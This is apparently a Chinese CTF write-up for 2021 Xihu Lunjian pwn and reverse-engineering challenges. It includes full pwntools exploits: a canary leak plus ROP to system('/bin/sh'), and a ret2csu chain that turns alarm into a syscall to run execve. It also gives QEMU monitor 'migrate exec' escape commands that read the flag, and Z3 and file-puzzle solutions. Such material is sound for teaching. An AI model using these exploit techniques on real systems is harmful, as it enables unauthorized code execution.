热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

2021西湖论剑pwn、reWP

 前言这是2021西湖论剑的部分pwn和re题目,题目有一定难度,但也有相对简单的题目,对以下几道题目进行复盘总结。 PWN -> string_go题目分析本题模仿pythonIDE使用C++编写的

 

前言

这是2021西湖论剑的部分pwn和re题目,题目有一定难度,但也有相对简单的题目,对以下几道题目进行复盘总结。

 

PWN -> string_go



题目分析

本题模仿pythonIDE使用C++编写的一个计算器,采用ptr下标溢出导致覆盖string结构的size字段来泄露栈内地址.
保护全开,ida分析主函数如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
double v3; // xmm0_8
char v4[32]; // [rsp+10h] [rbp-80h] BYREF
char v5[32]; // [rsp+30h] [rbp-60h] BYREF
char v6[40]; // [rsp+50h] [rbp-40h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-18h]
v7 = __readfsqword(0x28u);
menu();
while ( 1 )
{
python_input[abi:cxx11](v4, argv);
argv = (const char **)v4;
std::__cxx11::basic_string,std::allocator>::basic_string(v6, v4);
calc((__int64)v6); <--------------clac ------------>
std::__cxx11::basic_string,std::allocator>::~basic_string(v6);
if ( (int)v3 == 3 )
{
std::__cxx11::basic_string,std::allocator>::basic_string(v5, v4);
argv = (const char **)v5;
lative_func((__int64)v6);
std::__cxx11::basic_string,std::allocator>::~basic_string(v6);
std::__cxx11::basic_string,std::allocator>::~basic_string(v5);
}
std::__cxx11::basic_string,std::allocator>::~basic_string(v4);
}
}

题目先经过clac函数进行一些过滤和计算,结果如果=3则进入lative_func:

__int64 __fastcall lative_func(__int64 a1)
{
__int64 value; // rax
size_t v3; // r12
const void *v4; // rbx
void *v5; // rax
int idx; // [rsp+1Ch] [rbp-A4h] BYREF
char v8[32]; // [rsp+20h] [rbp-A0h] BYREF
char v9[32]; // [rsp+40h] [rbp-80h] BYREF
char ptr[32]; // [rsp+60h] [rbp-60h] BYREF
char v11[40]; // [rsp+80h] [rbp-40h] BYREF
unsigned __int64 v12; // [rsp+A8h] [rbp-18h]
v12 = __readfsqword(0x28u);
std::__cxx11::basic_string,std::allocator>::basic_string(v9);
std::__cxx11::basic_string,std::allocator>::basic_string(ptr);
std::__cxx11::basic_string,std::allocator>::basic_string(v11);
std::operator<<>(&std::cout, ">>> ");
std::istream::operator>>(&std::cin, &idx); <--------输入下标------>
split(v8, ptr);
if ( !std::vector,std::allocator>>::size(v8) && idx <= 7 )
{
std::operator<<>(&std::cout, ">>> ");
std::operator>>(&std::cin, ptr); <--------输入字符串--------->
std::operator<<>(&std::cout, ">>> ");
value = std::__cxx11::basic_string,std::allocator>::operator[](ptr, idx); <---------返回ptr相应下标的地址>
std::operator>>>(&std::cin, value); <-------向该地址写入数据------>
}
std::operator<<(&std::cout, ptr); <---------输出ptr,此处用于泄露stack地址------>
std::operator<<>(&std::cout, ">>> ");
std::operator>>(&std::cin, v9); <-------输入memcpy的size,可控--------->
v3 = std::__cxx11::basic_string,std::allocator>::size(v9);
v4 = (const void *)std::__cxx11::basic_string,std::allocator>::c_str(v9);
v5 = (void *)std::__cxx11::basic_string,std::allocator>::c_str(v11);
memcpy(v5, v4, v3); <---------存在溢出------->
std::vector,std::allocator>>::~vector(v8);
std::__cxx11::basic_string,std::allocator>::~basic_string(v11);
std::__cxx11::basic_string,std::allocator>::~basic_string(ptr);
std::__cxx11::basic_string,std::allocator>::~basic_string(v9);
return a1;
}

此函数存在由idx下标为负数时可以改写ptr的size,使得输出ptr的时候泄露栈地址,如下是idx=-1,输入value=0x33,*ptr=0x32的情况,此时size已经写入了0x33,变成了0x3300000000000001

'>>> ' │──────────────────────────────────────────────────────────────────────────────────────────────
[DEBUG] Sent 0x4 bytes: │gef➤ telescope 0x00007ffe288d8320 20
'1+2\n' │0x00007ffe288d8320│+0x0000: 0x00007ffe288d8420 → 0x00007ffe288d8430 → 0x00007ffe00322b31 (
[DEBUG] Received 0x4 bytes: │"1+2"?) ← $rsp
'>>> ' │0x00007ffe288d8328│+0x0008: 0x00007ffe288d8440 → 0x00007ffe288d8450 → 0x00007f0e00322b31 (
[DEBUG] Sent 0x3 bytes: │"1+2"?)
'-1\n' │0x00007ffe288d8330│+0x0010: 0x00007ffe288d8350 → 0x0000000000000000
[DEBUG] Received 0x4 bytes: │0x00007ffe288d8338│+0x0018: 0xffffffffcfa02893
'>>> ' │0x00007ffe288d8340│+0x0020: 0x0000000000000000
[DEBUG] Sent 0x2 bytes: │0x00007ffe288d8348│+0x0028: 0x0000000000000000
'2\n' │0x00007ffe288d8350│+0x0030: 0x0000000000000000
[*] running in new terminal: ['/usr/bin/gdb', '-q', './string_go', '45127'] │0x00007ffe288d8358│+0x0038: 0x00005624cfa02208 → m
[DEBUG] Created script for new terminal: │ov QWORD PTR [rbp-0x80], rbx
#!/usr/bin/python │0x00007ffe288d8360│+0x0040: 0x00007ffe288d8370 → 0x00000003288d8500
import os │0x00007ffe288d8368│+0x0048: 0x0000000000000000
os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './string_go', '45127'], os.environ) │0x00007ffe288d8370│+0x0050: 0x00000003288d8500
[DEBUG] Launching a new terminal: ['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}', '/tmp/tmp│0x00007ffe288d8378│+0x0058: 0x4008000000000000
8Hg7Mg'] │0x00007ffe288d8380│+0x0060: 0x00007ffe288d8390 → 0x00005624d0930032 → 0x0000000000000000 <------ptr------>
[+] Waiting for debugger: Done │← $rax
[*] Paused (press any to continue) │0x00007ffe288d8388│+0x0068: 0x3300000000000001 <-----size----->
[DEBUG] Received 0x4 bytes: │0x00007ffe288d8390│+0x0070: 0x00005624d0930032 → 0x0000000000000000
'>>> ' │0x00007ffe288d8398│+0x0078: 0x0000000000000000
[DEBUG] Sent 0x2 bytes: │0x00007ffe288d83a0│+0x0080: 0x00007ffe288d83b0 → 0x0000000000000000
'3\n' │0x00007ffe288d83a8│+0x0088: 0x0000000000000000
│0x00007ffe288d83b0│+0x0090: 0x0000000000000000
[*] Paused (press any to continue) │0x00007ffe288d83b8│+0x0098: 0x00007f0e99c4dbe6 → mov r12, QWORD PTR [rsp]

std::operator<<(&std::cout, ptr);的时候可以泄露地址,接下来就是常规的ROP,来控制控制流了。


exp

from pwn import *
local = 1
binary="./string_go"
elf = ELF(binary, checksec=False)
if local:
context.terminal =['/usr/bin/tmux', 'splitw', '-h', '-F#{pane_pid}' ]
p = process(binary)
libc = ELF('./libc-2.27.so', checksec=False)
bin_sh=0x00000000001b3e1a
context.log_level = "debug"
else:
p=remote("82.157.20.104", 32000)
libc = ELF('./libc-2.27.so', checksec=False)
bin_sh = 0x00000000001b3e1a
def debug_1(addr,show=[],PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(str(hex(text_base+i)))
for item in show:
debug_str+='x /50xg {:#x}\n'.format(text_base+item)
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{:#x}\n'.format(text_base+i)
gdb.attach(p,debug_str)
def leak(ptr,index,value):
p.sendlineafter(">>>", index)
p.sendlineafter(">>>", ptr)
gdb.attach(p)
pause()
p.sendlineafter(">>>", value)
p.recv()
info=p.recv(4096,timeout=1)
print(info)
pause()
return info
p.sendlineafter(">>>","1+2")
info=leak(str(2),str(-1),str(3))
#debug_1([0x0000000000002415, 0x0000000000003cf3])
# info=p.recv(0x400)
# print(info[0:1])
# print(info)
# print(info)
canary=u64(info[7*8:7*8+8])
print("canary ==>",hex(canary))
elf_base=u64(info[9*8:9*8+8])-elf.symbols["_start"]
print("elf_base ==>",hex(elf_base))
off=0x000000000021BF7#libc.symbols["__libc_start_main"]+238
print(hex(off))
libc_base=u64(info[0xf8:0xf8+8])-off
print("libc_base ==>",hex(libc_base))
prdi=0x0000000000003cf3
ret = 0x00000000000014ce
payload=p64(0)*3+p64(canary)+p64(0)*3+p64(ret+elf_base)+p64(elf_base+prdi)+p64(libc_base+bin_sh)+p64(libc_base+libc.symbols["system"])
#gdb.attach(p)
p.sendline(payload)
#p.sendlineafter(">>>","aa")
p.interactive()


总结

C++实现的程序,通过string结构体,通过idx来覆盖size大小,造成地址泄露,memcpy溢出劫持控制流。需要对c++的一些结构有了解,ida反编译出的c++代码逻辑没有c的清晰,需要仔细分析各个对象的含义。

 

PWN -> blind



题目分析

题目附件有一个readme,如下:

Don't try to guess the libc version or Brute-force attack.Believe me, there will be no results,but there is a general way to solve it.

看来出题人不想让我们用泄露libc或者暴力攻击的方式攻击,可能远程环境libc被改了。
这道题目保护只开了NX,很简单的逻辑只有read函数存在溢出且没有其他可以泄露的函数,ida代码如下:

ssize_t __fastcall main(int a1, char **a2, char **a3)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(8u);
sleep(3u);
return read(0, buf, 0x500uLL); <--------buffer overflow------->
}

明显存在栈溢出,对于没有泄露函数且只开了NX保护的基本栈溢出情况,我们攻击的基本方法是


  1. 通过修改alarm函数的偏移使其变为syscall函数,从而调用syscall(‘/bin/sh’,0,0)来拿shell

  2. 通过修改alarm函数的偏移使其变为syscall函数,syscall调用write函数泄露alarm地址计算libc,溢出劫持控制流。

本题明显提示不能用libc的方法去攻击,所以选择一种方法。


利用



  1. 通过通用方法ret2csu来构造rop修改alarm的末字节位’\x19’,指向syscall

  2. csu调用read输入0x3b个字符,设置rax=0x3b(system调用号)

  3. csu调用实现syscall(‘/bin/sh’,0,0),拿到shell。



exp

from pwn import *
remote_addr=['127.0.0.1',49156] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
context.terminal = ["/bin/tmux", "sp","-h"]
context.log_level=True
#p=remote(remote_addr[0],remote_addr[1])
elf_path = "./blind"
p = process(elf_path)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(elf_path)
#gdb.attach(p, 'c')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def csu(addr,rbx,rbp,r12,r13,r14,r15,ret):
payload = p64(addr)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(ret)
payload += 'A' * 8 * 7
return payload
if __name__ == '__main__':
bss = 0x601088
alarm_got = elf.got["alarm"]
read_plt = elf.got["read"]
buff = 'A' * 88
buff += csu(0x4007BA,0,1,read_plt,1,alarm_got,0,0x4007A0) # modify alarm 0x19
buff += csu(0x4007BA,0,1,read_plt,0x3b,bss,0,0x4007A0) # modify rax=0x3b
buff += csu(0x4007BA,0,1,alarm_got,0,0,bss,0x4007A0) # syscall('/bin/sh',0,0)
buff = buff.ljust(0x500,'\x00')
#gdb.attach(p)
sn(buff)
#sn('\x15') # ubuntu 18.04
sn('\x19') #ubuntu20.04
sn('/bin/sh\x00'+(0x3b-8)*'A')
p.interactive()


总结

这个是比较常规的栈溢出的利用方式,当时做题思路被带偏了,一直在ret2dll-resolve而自己对ret2dll-resolve不太了解,用集成工具一直拿不到shell,没有想到这种利用方式,还是做题少,思路不够发散灵活。

 

PWN -> easy_kernel



qemu逃逸

在qemu启动过程中qemu monitor也随之会启动,用来管理qemu的镜像。
如果qemu启动命令没有-monitor,就有可能存在qemu逃逸
方法:CTRL+A C进入qemu的monitor模式就可以运行一些命令了。
monitor模式下migrate命令:migrate "exec:cp rootfs.img /tmp "可以执行一些命令


题目分析

题目qemu没有关闭monitor,直接ctrl+A C进去逃逸,解压rootfs.img读flag

migrate "exec:cp rootfs.img /tmp "
migrate "exec:cd /tmp;zcat rootfs.img | cpio -idmv 1>&2"
migrate "exec:cat /tmp/flag 1>&2"

(qemu) migrate "exec:cat /tmp/flag 1>&2"
flag{test_flag}qemu-system-x86_64: failed to save SaveStateEntry with id(name):)
qemu-system-x86_64: Unable to write to command: Broken pipe
qemu-system-x86_64: Unable to write to command: Broken pipe


总结

第一次尝试做这个kernel pwn,没想到是个简单的逃逸,考察队qemu逃逸的理解,和monitor下命令的运用。

 

Re -> ROR



题目分析

题目附件是一个32位的exe文件,ida打开发现如下逻辑:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-2C0h]
char v5; // [esp+8Fh] [ebp-231h]
int v6[9]; // [esp+94h] [ebp-22Ch]
int j; // [esp+B8h] [ebp-208h]
unsigned int i; // [esp+BCh] [ebp-204h]
char Buf2[256]; // [esp+C0h] [ebp-200h] BYREF
char input[256]; // [esp+1C0h] [ebp-100h] BYREF
__CheckForDebuggerJustMyCode(&unk_406029);
v6[0] = 128;
v6[1] = 64;
v6[2] = 32;
v6[3] = 16;
v6[4] = 8;
v6[5] = 4;
v6[6] = 2;
v6[7] = 1;
memset(input, 0, sizeof(input));
memset(Buf2, 0, sizeof(Buf2));
sub_401650("Input:", v4);
sub_4016A0("%40s", (char)input);
if ( strlen(input) != 40 )
exit(0);
for ( i = 0; i <0x28; i += 8 )
{
for ( j = 0; j <8; ++j )
{
v5 = ((v6[j] & input[i + 3]) <<(8 - (3 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 3]) >> ((3 - j) % 8u)) | ((v6[j] & input[i + 2]) <<(8 - (2 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 2]) >> ((2 - j) % 8u)) | ((v6[j] & input[i + 1]) <<(8 - (1 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 1]) >> ((1 - j) % 8u)) | ((v6[j] & (unsigned __int8)input[i]) <<(8 - -j % 8u)) | ((v6[j] & (unsigned int)input[i]) >> (-j % 8u));
Buf2[j + i] = table[(unsigned __int8)(((v6[j] & (unsigned __int8)input[i + 7]) <<(8 - (7 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 7]) >> ((7 - j) % 8u)) | ((v6[j] & input[i + 6]) <<(8 - (6 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 6]) >> ((6 - j) % 8u)) | ((v6[j] & input[i + 5]) <<(8 - (5 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 5]) >> ((5 - j) % 8u)) | ((v6[j] & input[i + 4]) <<(8 - (4 - j) % 8u)) | ((v6[j] & (unsigned int)input[i + 4]) >> ((4 - j) % 8u)) | v5)];
}
}
if ( memcmp(&enc, Buf2, 0x28u) )
{
puts("Wrong");
exit(0);
}
puts("Congratulations");
puts("flag is DASCTF{your input}");
return 0;
}

程序逻辑很简单,关键是循环里面的移位转换操作是什么算法,怎么逆向;程序最后的加密密文enc和table表都是知道的,加密流程如下:
对每个字节进行转换,转换后在table表里索引得到值就是对应的enc,所以首先要将真正的计算结果算出来,所以先拿enc匹配获得table的下标,就是每个字节转换后的结果,之后最方便的方法就是用Z3约束求解,一把梭哈。


exp

enc = [
0x65, 0x55, 0x24, 0x36, 0x9D, 0x71, 0xB8, 0xC8, 0x65, 0xFB,
0x87, 0x7F, 0x9A, 0x9C, 0xB1, 0xDF, 0x65, 0x8F, 0x9D, 0x39,
0x8F, 0x11, 0xF6, 0x8E, 0x65, 0x42, 0xDA, 0xB4, 0x8C, 0x39,
0xFB, 0x99, 0x65, 0x48, 0x6A, 0xCA, 0x63, 0xE7, 0xA4, 0x79,
0xFF, 0xFF, 0xFF, 0xFF
]
table = [
0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B,
0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F
]
tmp = []
for i in range(len(enc)):
for j in range(len(table)):
if table[j] == enc[i]:
tmp.append(j)
print (tmp)
import z3
input = [z3.BitVec("p%d" % i,8) for i in range(40)]
v6 = [0]*8
v6[0] = 128;
v6[1] = 64;
v6[2] = 32;
v6[3] = 16;
v6[4] = 8;
v6[5] = 4;
v6[6] = 2;
v6[7] = 1;
s = z3.Solver()
for i in range(0,0x28,8):
for j in range(8):
v5 = ((v6[j] & input[i + 3]) <<(8 - (3 - j) % 8)) | ((v6[j] & input[i + 3]) >> ((3 - j) % 8)) | ((v6[j] & input[i + 2]) <<(8 - (2 - j) % 8)) | ((v6[j] & input[i + 2]) >> ((2 - j) % 8)) | ((v6[j] & input[i + 1]) <<(8 - (1 - j) % 8)) | ((v6[j] & input[i + 1]) >> ((1 - j) % 8)) | ((v6[j] & input[i]) <<(8 - -j % 8)) | ((v6[j] & input[i]) >> (-j % 8))
v = ((v6[j] & input[i + 7]) <<(8 - (7 - j) % 8)) | ((v6[j] & input[i + 7]) >> ((7 - j) % 8)) | ((v6[j] & input[i + 6]) <<(8 - (6 - j) % 8)) | ((v6[j] & input[i + 6]) >> ((6 - j) % 8)) | ((v6[j] & input[i + 5]) <<(8 - (5 - j) % 8)) | ((v6[j] & input[i + 5]) >> ((5 - j) % 8)) | ((v6[j] & input[i + 4]) <<(8 - (4 - j) % 8)) | ((v6[j] & input[i + 4]) >> ((4 - j) % 8))
s.add(v5 | v == tmp[i+j])
sat = s.check()
m = s.model()
flag = []
for i in range(len(m)):
#print (input[i])
flag.append(m[input[i]].as_long())
print (bytes(flag).decode())
'''
[0, 181, 122, 206, 37, 108, 7, 223, 0, 251, 124, 38, 75, 62, 134, 154, 0, 255, 37, 144, 255, 28, 56, 176, 0, 231, 60, 121, 225, 144, 251, 30, 0, 204, 179, 51, 78, 145, 65, 222, 29, 29, 29, 29]
Q5la5_3KChtem6_HYHk_NlHhNZz73aCZeK05II96
'''


总结

弄清题目加密逻辑,寻找最简单的解题方法,z3最擅长的就是方程式(表达式)的约束求解,加深了z3约束求解的使用。

 

Re -> 虚假的粉丝



题目分析

题目给的附件是一个mp3文件、exe、和一堆加密的文件,运行exe文件如下

So.... I heard you are AW's fans. So do I.
Yesterday I got a strange video. It might be one of AW's MV.
But I think something was hided in this MV. Can you find it for me?(Y/N)
Please give me your secret key(part1):44444
And key(part2):4444
And the final key:444
No No No! That key is wrong!

ida打开看逻辑:

// bad sp value at call has been detected, the output may be wrong!
// positive sp value has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
v3 = alloca(sub_402390((char)&retaddr));
sub_402150();
strcpy(FileName, "./f/ASCII-faded ");
v18 = 0;
v19 = 0;
v20 = 0;
v29 = '\x14\xC4';
sub_401350("So.... I heard you are AW's fans. So do I.\n");
sub_401350("Yesterday I got a strange video. It might be one of AW's MV.\n");
sub_401350("But I think something was hided in this MV. Can you find it for me?(Y/N)\n");
scanf("%c", &v13);
if ( v13 == 'N' )
{
system("cls");
sub_401350("You are not a real fans!\n");
return 0;
}
if ( v13 == 89 )
{
system("cls");
sub_401350("Get Ready!\nThe 'REAL' challenge has began!\n");
}
sub_401350("Please give me your secret key(part1):");
v28 = 0;
scanf("%d", &v12); <-------文件名>
sub_401350("And key(part2):");
scanf("%d", &Offset); <-------文件偏移>
sub_401350("And the final key:");
scanf("%d", &ElementSize); <-------字符长度>
FileName[16] = (char)v12 / -24 + 48;
v15 = (char)(v12 / 100) % 10 + 48;
v16 = (char)(v12 / 10) % 10 + 48;
v17 = v12 % 10 + 48;
v18 = 'txt.';
Stream = fopen(FileName, "r");
if ( !Stream )
{
sub_401350("No No No! That key is wrong!\n");
fclose(Stream);
return 0;
}
memset(Buffer, 0, sizeof(Buffer));
fseek(Stream, Offset, 0);
fread(Buffer, ElementSize, 1u, Stream);
sub_401350("%s\n", Buffer);
if ( Buffer[0] != 'U' || Buffer[39] != 'S' ) <-------读出的字符以'U'开头'S'结尾>
{
sub_401350("Sorry! Wrong Key.\n");
fclose(Stream);
return 0;
}
fflush(&iob[1]);
fflush(&iob[1]);
sub_401350("This key might be right, You have to try: ");
scanf("%29s", v22); <---------输入密钥'A'开头'R'结尾>
if ( v22[0] == 'A' && v22[10] == 'R' )
{
sub_401350("Yes! that is the true key!\n");
Sleep(0x7D0u);
v28 = 1;
}
if ( v28 == 1 )
{
v29 = 5317;
Stream = fopen("./f/ASCII-faded 5315.txt", "rb"); <----------打开5315文件>
if ( !Stream )
{
sub_401350("ERROR!\n");
return 0;
}
fread(v6, 0x4EDEu, 1u, Stream);
fclose(Stream);
v26 = 0;
for ( i = 0; i <= 2126; ++i )
{
if ( v26 > 10 )
v26 = 0;
v6[i] ^= v22[v26++]; <-----------亦或>
}
Stream = fopen("./f/ASCII-faded 5315.txt", "w"); <-----------再次写入文件>
fwrite(v6, 0x84Fu, 1u, Stream);
fclose(Stream);
}
dwCursorPosition.X = 0;
dwCursorPosition.Y = 0;
hCOnsoleOutput= GetStdHandle(0xFFFFFFF5);
ConsoleCursorInfo.bVisible = 0;
ConsoleCursorInfo.dwSize = 1;
SetConsoleCursorInfo(hConsoleOutput, &ConsoleCursorInfo);
v5 = (char *)calloc(0x100000u, 1u);
setvbuf(&iob[1], v5, 0, 0x100000u);
system("cls");
system("pause");
mciSendStringA("open ./faded.mp3", 0, 0, 0);
mciSendStringA("play ./faded.mp3", 0, 0, 0);
for ( j = 1; j {
Sleep(0x1Eu);
v23 = j;
FileName[16] = (char)j / -24 + 48;
v15 = (char)(j / 100) % 10 + 48;
v16 = (char)(j / 10) % 10 + 48;
v17 = j % 10 + 48;
v18 = 1954051118;
Stream = fopen(FileName, "r");
fread(v21, 0x3264u, 1u, Stream);
fflush(&iob[1]);
sub_401350("%s", v21);
SetConsoleCursorPosition(hConsoleOutput, dwCursorPosition);
fclose(Stream);
}
Sleep(0x2710u);
return 0;
}

这个题逻辑很清楚,类似与MISC的类型,从附件所给的文件中找出以U开头S结尾的文件名(key1),文件偏移(key2),字符长度(final key),之后输入真正的密钥(A开头R结尾)就可以解密5315文件,确定文件名和偏移

➜ f grep -E "U.{38}S" *.txt
ASCII-faded 4157.txt:aaZ8088aaZ88B008BBBBB8888Z088Z8ZZZaX8@WBWW@W@W@W@W@WWWWBWBBB@@UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNSWMa ............,.,.,.,,,,:
➜ f

文件名4157,确定seek偏移,这里如果将文件读出来再确定字符串的偏移会和seek的偏移有一定出入,所以这里直接用字符匹配得到seek的偏移

with open('ASCII-faded 4157.txt','r',encoding='utf-8') as f:
#cOntent= f.read()
flag = True
i = 0
while(flag):
f.seek(i)
cOntent= f.read(40)
# print (content)
if cOntent== 'UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS':
flag = False
print ('offest:',i)
i+=1
import urllib.parse
import base64
dec = base64.b64decode('UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS')
print(urllib.parse.unquote(str(dec,'utf-8')))
# offest: 1118
# S3Cre7_K3y = Al4N_wAlK3R

得到seek偏移为1118,长度为40,输入程序解密5315文件:

So.... I heard you are AW's fans. So do I.
Yesterday I got a strange video. It might be one of AW's MV.
But I think something was hided in this MV. Can you find it for me?(Y/N)
Please give me your secret key(part1):4157
And key(part2):1118
And the final key:40
UzNDcmU3X0szeSUyMCUzRCUyMEFsNE5fd0FsSzNS
This key might be right, You have to try: Al4N_wAlK3R
Yes! that is the true key!

找到解密后的文件:

➜ f cat ASCII-faded\ 5315.txt
i;i;i;iririririri;iririri;i;;riririri;i;iriririr;;iriri;iririri;iri;iririririririri;i;iri;i;iri;irir;ri;iriri
iiriiiii;;riri;ii:i:i:ii;i;iiiii;iiiii;i;;riri;i;i;iri;iii;i;iii;iiiii;iiiii;iri;iiii:ii;iiiii;;rir;ririri;i;
:ii:,::iiriririi::.,.,,::ii;:::::i::::iiiiiii;irir;;i;::,::i:::::i::,::i:::iir;rii::ir:ii::::ii;i;i;i;i;iiii:
::::@B@,iiririi:@B@B@B@B::i::2@B:::B@q::i:::ii;iririi::B@Bi::B@B:,:@@U:,BBM:iirii,PB@B;::.@B5:i:i:i:iii:i::::
::,@B@BY:iiri;i:B@B@B@B@::.L:@B@.:,@B@.:,7jr,:i;iri;i:L@B@B.,G@@,.B@B@..B@F:irii:;B@B7,:.@B@B,:r:,Lv,:::,ju7,
:,F@@:@B.:iirir::..B@ ..@B@BkS@B.:.B@B.7@@@@@i:i;i;i:.@@,B@u..@BE @@@B:r@B,:ri;iiB@B@B.:@B@BG.iB@B@B@7.B@B@B:
,,@@BUB@B::;iriii:i@Bi.i@@Oi.BB@.,.@B@ @B@B@B@:ii;ii,@B@j@B@..X@B0B1v@@@B2:iirii:,B@2.E@@;B@@i:@@v @@@ @@@O7.
.B@@@B@@@r:iri;ii:7B@i:i@B.,:2@B5iuB@2.B@B80@U:irii:LB@B@B@B@..B@B@..B@@@.:i;i;ii.@B5.@B@@@@@B,B@..B@B.:uB@BU
7@B;...@B@:i:iiiiir@Br:;B@ii::B@B@B@B,,UB@B@B::iii::B@B...v@B7,BB@B,,@B@0::iiiii::B@F:,,..B@G.i@@:.@B@.@B@B@i
:i:::::::i::::::ii:ii:i:i::ii::,;7;,::i:,iL7::::::::;:::::::ri::::::i:::::i::,::::i:::i:i::::::ii:::::::LL:,,
::iii;ii::B@B@B@:iiiiiiiiiiri;ii:i:iiiiiii::::B@B@@@:iiiiiii:iii:iiiiiiiiir@B@B@Mi:iiiiri;iiiiiiiiiiiiii:i:i:
ii;iririi:rrr;rriiririri;iririri;i;iri;iri;iii7rrrrriiriririri;i;i;i;iri;iirr;rrriiiri;iriri;i;iriri;iriiiiii
i;i;iriri;ii:i:ii;ir;ririri;i;iririri;i;;r;ri;ii:i:iiriririririri;iri;;ririi:i:ii;iri;iriririririririririr;;i

拿到flag为A_TrUe_AW_f4ns


总结

题目不难,就是比较MISC。

 

附件

附件


推荐阅读
  • Python爬虫中使用正则表达式的方法和注意事项
    本文介绍了在Python爬虫中使用正则表达式的方法和注意事项。首先解释了爬虫的四个主要步骤,并强调了正则表达式在数据处理中的重要性。然后详细介绍了正则表达式的概念和用法,包括检索、替换和过滤文本的功能。同时提到了re模块是Python内置的用于处理正则表达式的模块,并给出了使用正则表达式时需要注意的特殊字符转义和原始字符串的用法。通过本文的学习,读者可以掌握在Python爬虫中使用正则表达式的技巧和方法。 ... [详细]
  • 本文介绍了在处理不规则数据时如何使用Python自动提取文本中的时间日期,包括使用dateutil.parser模块统一日期字符串格式和使用datefinder模块提取日期。同时,还介绍了一段使用正则表达式的代码,可以支持中文日期和一些特殊的时间识别,例如'2012年12月12日'、'3小时前'、'在2012/12/13哈哈'等。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
